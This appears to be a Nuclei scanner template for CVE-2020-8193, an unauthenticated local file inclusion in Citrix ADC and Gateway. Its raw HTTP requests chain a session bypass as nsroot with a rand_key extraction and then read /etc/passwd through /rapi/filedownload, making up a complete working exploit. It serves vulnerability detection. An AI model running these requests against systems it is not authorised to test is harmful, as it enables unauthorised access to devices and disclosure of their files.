91 lines
2.7 KiB
YAML
91 lines
2.7 KiB
YAML
id: CVE-2020-8193
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info:
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name: Citrix unauthenticated LFI
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author: pdteam
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severity: high
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reference:
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- https://github.com/jas502n/CVE-2020-8193
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- http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html
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description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.
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tags: cve,cve2020,citrix,lfi
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requests:
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- raw:
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- |
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POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
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Content-Type: application/xml
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X-NITRO-USER: xpyZxwy6
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X-NITRO-PASS: xWXHUJ56
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<appfwprofile><login></login></appfwprofile>
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- |
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GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
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Host: {{Hostname}}
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User-Agent: python-requests/2.24.0
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Accept: */*
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Connection: close
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GET /menu/neo HTTP/1.1
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Host: {{Hostname}}
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User-Agent: python-requests/2.24.0
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Accept: */*
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Connection: close
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- |
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GET /menu/stc HTTP/1.1
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Host: {{Hostname}}
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User-Agent: python-requests/2.24.0
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Accept: */*
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Connection: close
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- |
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POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
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Host: {{Hostname}}
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User-Agent: python-requests/2.24.0
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Accept: */*
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Connection: close
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Content-Type: application/xml
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X-NITRO-USER: oY39DXzQ
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X-NITRO-PASS: ZuU9Y9c1
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rand_key: §randkey§
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<appfwprofile><login></login></appfwprofile>
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POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
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Host: {{Hostname}}
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User-Agent: python-requests/2.24.0
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Accept: */*
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Connection: close
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Content-Type: application/xml
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X-NITRO-USER: oY39DXzQ
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X-NITRO-PASS: ZuU9Y9c1
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rand_key: §randkey§
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<clipermission></clipermission>
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cookie-reuse: true
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# Using cookie-reuse to maintain session between each request, same as browser.
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extractors:
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- type: regex
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name: randkey
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part: body
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internal: true
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regex:
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- "(?m)[0-9]{3,10}\\.[0-9]+"
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# Using rand_key as dynamic variable to make use of extractors at run time.
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matchers:
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- type: regex
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regex:
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- "root:[x*]:0:0:"
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part: body |